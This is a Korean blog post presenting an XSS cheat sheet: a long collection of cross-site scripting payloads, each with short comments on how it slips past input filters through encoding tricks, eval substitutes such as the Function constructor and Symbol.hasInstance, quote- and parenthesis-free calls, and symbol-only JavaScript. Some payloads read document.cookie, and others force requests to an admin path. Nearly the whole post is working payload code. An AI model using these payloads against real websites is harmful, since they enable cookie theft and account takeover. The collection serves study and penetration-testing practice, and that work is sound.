티스토리 뷰

Web/Cheat Sheet

[Cheat Sheet] XSS Cheat Sheet

ch4njun 2020. 9. 17. 15:42
반응형

1. 잘못된 정규표현식 우회

<script src=data:,alert('ch4njun')></script>
// data:&comma;alert('ch4njun') 와 같이 &comma를 통한 문자인코딩을 활용 할 수 있다.

<script src=data:;base64,YWxlcnQoJ2NoNG5qdW4nKQ==></script>
<img src='>' onerror=alert('ch4njun')// \>
<img src=">'>" onerror=alert('ch4njun') />
<img src=""
  onerror=alert('ch4njun') />

 

 

2. 키워드 필더링 우회

<video><source onerror=alert('ch4njun')></video>
<body onload=alert('ch4njun') />
<iframe src=javascript:alert('ch4njun') />
<iframe srcdoc="<img src=about: one&#114;&#114;or=alert('ch4njun')>" />
// &#114; 는 문자인코딩을 통해 r로 바뀐다.
// src에 about:을 통해서도 onerror를 발생시킬 수 있다. 사실 중요한 부분은 아닌거같...

 

3. 

<img src=about: onerror=alert('ch4njun')>
<svg src=about: onload=alert('ch4njun')>
// 2번에서 나오지 않은 것들에 대해서 소개해봤다..ㅎ

 

4. 마침표(.), 키워드 필터링 우회

this['al'+'ert']((({'\u0063ookie':x})=>x)(self['\x64ocument']))
// [ ]를 사용해 .을 대신할 수 있고, [ ] 내부에서는 문자열을 사용하기 때문에 +를 통해 키워드 필터링을 우회할 수 있다.
// \x64는 문자 인코딩을 통해 d로 변환된다. 이를 통해 키워드 필터링을 우회할 수 있다.

this.alert((({cookie:x})=>x)(self.document))
// "(({cookie:x})=>x)(self.document)" 문법은 일단 그냥 기억하자.

window.alert(self.document.cookie)
// winodw로 this, self 등의 키워드를 대체할 수 있다. 단, use strict가 없어야 한다.

alert(document.cookie)

 

 

 

5. eval 함수를 대신할 만한 것들 

isNaN['construct'+'or'](atob("YWxlcnQoJ2NoNG5qdW4nKQ=="))()
// isNaN의 constructor에 접근해 특정 Script를 호출한다. 정확한 원리는..... isNaN 말고도 Boolean과 같은 것도 가능
// atob함수는 Base64를 Decoding해주는 함수이다.

isNaN['constructor']("alert('ch4njun')")()

Function("alert('ch4njun')")()
// aN의 constructor에 접근하는 것과 동일한 원리이다. 그래서 원리가 뭐냐고;;

self['construct'+'or']['construct'+'or'](decodeURI("%64%6F...."))()
//decodeURI는 URI인코딩된 문자열을 Decoding해주는 함수이다.

self['constructor']['constructor]("alert('ch4njun')")()

window.constructor("alert('ch4njun')")()

 

 

6. 쌍따옴표("), 홑따옴표(') 필터링 우회 - 문자열 필터링 우회

var tmp = `ch4njun`;
var tmp = /ch4njun/.source;
var tmp = /ch4njun/ + [];
var tmp = String.fromCharCode(72, 101, ....);

history.toString[8] 와 같은 형태로 문자열 조합 (기본 내장함수 및 오브젝트의 문자열 활용)
(history+[])[9], (URL+0)[12]

(/alert/.source + [URL+[]][0][12] + /document.cookie/.source + [URL+[]][0][13]instanceof{[Symbol.hasInstance]:eval};)
// [URL+[]][0][12]가 ( 이고 [URL+[]][0][13]이 ) 문자인가보다..ㅎ

var tmp = 27157130303. toString(36);
//띄워쓰기 혹은 마침표(.)를 두개 써야한다.

 

7. 함수호출을 하고자 할 때 (, )와 같은 필터링 우회

alert`ch4njun`
// 백쿼터를 사용할 경우 문자열 사용에 따옴표가 필요없다.

location="javascript:alert\x28'ch4njun'\x20;";
location.href, location['href'] 모두 동일하게 동작한다.
// \x28, \u0028 등의 문자 인코딩을 통해 (, )를 사용할 수 있다.
// javascript scheme를 사용해 함수를 실행할 수 있다.

alert('ch4njun')instanceof{[Symbol.hasInstance]:eval};
// 콜론(:)를 이퀄(=)로 변경할 수 있다. 이 문법도 일단 기억하자.

Array.prototype[Symbol.hasInstance]=eval;alert('ch4njun')instanceof[];
// isntanceof 연산자는 연산자 우측에 오는 객체에 hasInstance가 있다면 메소드로 호출하여 instanceof 연산자의 결과로 사용한다. 이걸 eval로 있도록 만들어준다.

document.body.innerHTML+="<img src=about: onerror=alert('ch4njun') />";

 

 

8. 조합하여 사용 예시

Boolean[atob('Y29uc3RydWN0b3I=')][atob('YWxlcnQoJ2NoNG5qdW4nKQ==')]()

/alert/.source + [URL+[]][0][12] + /document.cookie/.source + [URL+[]][0][13]instanceof{[Symbol.hasInstance]:eval};

location=/javascript:/.source+/alert/.source+[URL+[]][0][12]+/ch4njun/.source+[URL+[]][0][13]

 

 

9. [, ], (, ), {, }, + 만으로 Script 작성하기

this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])

this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))

 

 

 

10. onload="func('{{timer}}');" 와같이 인자를 받을 때

1');alert('ch4njun
// onload="func('1');alert('ch4njun');" 이 되면서 XSS 공격이 발생한다.

<img src='/static/level3/cloud" + num + ".jpg' /> 이런 경우도 비슷하게 동작시킬 수 있다.
x' onerror=alert('ch4njun')>

 

 

11. 특정 URL로 리다이렉션 시키고 싶을 때

<script>location.href="127.0.0.1/admin";</script>

<script>
document.id.action="127.0.0.1/admin";
document.id.submit();
</script>

<img src="127.0.0.1/admin">

<link rel=stylesheet href="127.0.0.1/admin">

<embed src=“127.0.0.1/admin” width=“640” height=“480”>

<object data=’127.0.0.1/admin’></object>

 

12. 기타

이 밑으로는 기타 활용들인데 한번씩 참고해보자. 별도의 설명은 안할예정~

['ch4njun'].some(alert)

eval(String.fromCharCode(97,108,101,114,116,40,49,41))

var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoJ2NoNG5qdW4nKQ=='));

Array.from(['ch4njun'], alert)

Array.from`ch4njun${alert}25`

Array.from`ch4njun${alert}25${window}toda`

Promise.reject('ch4njun').then(null, alert)

Set.constructor`alert\x28'ch4njun'\x29```

var a=onerror=alert; throw 'ch4njun'

_=alert;_('ch4njun')

<svg onload=alert('ch4njun')//

<svg><script> alert('ch4njun'); </script> (동작할 때가 있다는데... 흠..................)

<div style="background-image: url(javascript:alert('ch4njun');"></div>

<div style="width: expression(alert('ch4njun'));">

<iframe src="javascript:alert('ch4njun')"

<table background="javascript:alert('ch4njun')">

<table><td abckground="javascript:alert('ch4njun')">

<input type="image" src="x" onerror="alert('ch4njun');">

<input value=""/type=image src onerror="alert('ch4njun');" type="text">

<bgsound src="javascript:alert('ch4njun')">

<bgsound src="x" onerror="alert('ch4jun')">

<svg </onload="1> (_=alert,_('ch4njun')) ">

<svg </onload="1> alert('ch4njun') ">

<svg </onload="alert('ch4njun')">

<svg ^/onload="alert('ch4njun')">

<svg ch4njun/onload="alert('ch4njun')">

<iframe ch4njun/src="javascript:alert('ch4njun')"></iframe>

<iframe ch4njun/onmouseover=alert('ch4njun') src=z></iframe>

<input ch4njun/onfocus=alert('ch4njun') autofocus>

console.log(alert('ch4njun'))

<img id="test" title="javascript:alert('ch4njun')">

<output name="javascript://&NewLine;\u0061ler&#116('ch4njun')" onclick="eval(name)">
    X
</output>

<xmp><p title="</xmp><svg/onload=alert(45)>">

<noscript><p title="</noscript><svg/onload=alert(45)>">

<noframes><p title="</noframes><svg/onload=alert(45)>">

<iframe><p title="</iframe><svg/onload=alert(45)>">

 

 

여기 조금 더 자세히 적혀있긴한데 큰 도움은 안될 것이다..

ch4njun.tistory.com/47?category=718165

 

[XSS] ch4njun's cheat sheet

 

ch4njun.tistory.com

zulloper.tistory.com/5

 

크로스사이트스크립팅(XSS)

1. 크로스사이트스크립트(XSS) 크로스 사이트 스크립팅(영문 명칭 cross-site scripting, 영문 약어 XSS)은 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지�

zulloper.tistory.com

 

반응형

'Web > Cheat Sheet' 카테고리의 다른 글

[Cheat Sheet] SQL Injection Cheat Sheet  (0) 2020.09.21
반응형
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
TAG
more
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함